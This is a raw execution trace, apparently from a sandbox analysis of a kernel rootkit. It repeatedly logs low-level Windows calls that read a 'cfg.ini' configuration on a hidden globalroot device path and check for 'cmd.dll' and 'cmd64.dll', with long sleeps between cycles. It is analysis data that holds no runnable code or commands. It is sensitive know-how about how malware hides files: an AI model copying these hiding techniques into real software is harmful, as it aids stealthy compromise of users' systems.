[0118.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.274] ReleaseMutex (hMutex=0xf0) returned 1 [0118.274] Sleep (dwMilliseconds=0x124f80) [0118.289] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.289] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.289] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.289] KeEnterCriticalRegion () [0118.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.289] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.289] IdePortDispatch () returned 0x103 [0118.289] KeWaitForMutexObject () returned 0x0 [0118.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.290] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.290] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa64f0 [0118.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] KeLeaveCriticalRegion () [0118.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.290] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.290] KeEnterCriticalRegion () [0118.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] KeLeaveCriticalRegion () [0118.290] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.290] KeEnterCriticalRegion () [0118.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.290] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.290] IdePortDispatch () returned 0x103 [0118.290] KeWaitForMutexObject () returned 0x0 [0118.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] KeLeaveCriticalRegion () [0118.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.290] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.290] KeEnterCriticalRegion () [0118.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.290] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cad000 [0118.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.291] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.291] IdePortDispatch () returned 0x103 [0118.291] KeWaitForMutexObject () returned 0x0 [0118.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.291] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.291] IdePortDispatch () returned 0x103 [0118.291] KeWaitForMutexObject () returned 0x0 [0118.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.291] KeLeaveCriticalRegion () [0118.291] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.292] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.292] KeEnterCriticalRegion () [0118.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] KeLeaveCriticalRegion () [0118.292] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.292] KeEnterCriticalRegion () [0118.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.292] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] KeLeaveCriticalRegion () [0118.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.292] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.292] KeEnterCriticalRegion () [0118.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] ExFreePoolWithTag (P=0xfffffa8003aa64f0, Tag=0x0) [0118.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] KeLeaveCriticalRegion () [0118.292] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.292] ReleaseMutex (hMutex=0xf0) returned 1 [0118.292] Sleep (dwMilliseconds=0x124f80) [0118.307] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.307] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.307] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.307] KeEnterCriticalRegion () [0118.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.307] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.307] IdePortDispatch () returned 0x103 [0118.307] KeWaitForMutexObject () returned 0x0 [0118.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.308] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.308] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.308] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.308] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.308] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] KeLeaveCriticalRegion () [0118.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.308] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.308] KeEnterCriticalRegion () [0118.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] KeLeaveCriticalRegion () [0118.308] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.308] KeEnterCriticalRegion () [0118.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.308] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.308] IdePortDispatch () returned 0x103 [0118.308] KeWaitForMutexObject () returned 0x0 [0118.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] KeLeaveCriticalRegion () [0118.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.308] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.308] KeEnterCriticalRegion () [0118.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.308] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0118.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.308] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.308] IdePortDispatch () returned 0x103 [0118.309] KeWaitForMutexObject () returned 0x0 [0118.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.309] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.309] IdePortDispatch () returned 0x103 [0118.309] KeWaitForMutexObject () returned 0x0 [0118.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.309] KeLeaveCriticalRegion () [0118.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.309] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.310] KeEnterCriticalRegion () [0118.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] KeLeaveCriticalRegion () [0118.310] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.310] KeEnterCriticalRegion () [0118.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] KeLeaveCriticalRegion () [0118.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.310] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.310] KeEnterCriticalRegion () [0118.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.310] KeLeaveCriticalRegion () [0118.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.310] ReleaseMutex (hMutex=0xf0) returned 1 [0118.310] Sleep (dwMilliseconds=0x124f80) [0118.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.331] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.331] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.331] KeEnterCriticalRegion () [0118.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.331] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.331] IdePortDispatch () returned 0x103 [0118.331] KeWaitForMutexObject () returned 0x0 [0118.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.331] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.331] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963830 [0118.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.331] KeLeaveCriticalRegion () [0118.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.331] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.331] KeEnterCriticalRegion () [0118.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.331] KeLeaveCriticalRegion () [0118.331] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.331] KeEnterCriticalRegion () [0118.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.331] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.331] IdePortDispatch () returned 0x103 [0118.332] KeWaitForMutexObject () returned 0x0 [0118.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.332] KeLeaveCriticalRegion () [0118.332] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.332] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.332] KeEnterCriticalRegion () [0118.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0118.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.332] IdePortDispatch () returned 0x103 [0118.332] KeWaitForMutexObject () returned 0x0 [0118.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.332] IdePortDispatch () returned 0x103 [0118.332] KeWaitForMutexObject () returned 0x0 [0118.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.333] KeLeaveCriticalRegion () [0118.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.333] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.333] KeEnterCriticalRegion () [0118.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.333] KeLeaveCriticalRegion () [0118.334] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.334] KeEnterCriticalRegion () [0118.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.334] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.334] KeLeaveCriticalRegion () [0118.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.334] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.334] KeEnterCriticalRegion () [0118.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.334] ExFreePoolWithTag (P=0xfffffa8003963830, Tag=0x0) [0118.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.334] KeLeaveCriticalRegion () [0118.334] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.334] ReleaseMutex (hMutex=0xf0) returned 1 [0118.334] Sleep (dwMilliseconds=0x124f80) [0118.351] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.351] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.351] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.351] KeEnterCriticalRegion () [0118.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.351] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.351] IdePortDispatch () returned 0x103 [0118.351] KeWaitForMutexObject () returned 0x0 [0118.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.352] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.352] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.352] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.352] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.352] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cae60 [0118.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.352] KeLeaveCriticalRegion () [0118.352] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.352] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.352] KeEnterCriticalRegion () [0118.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 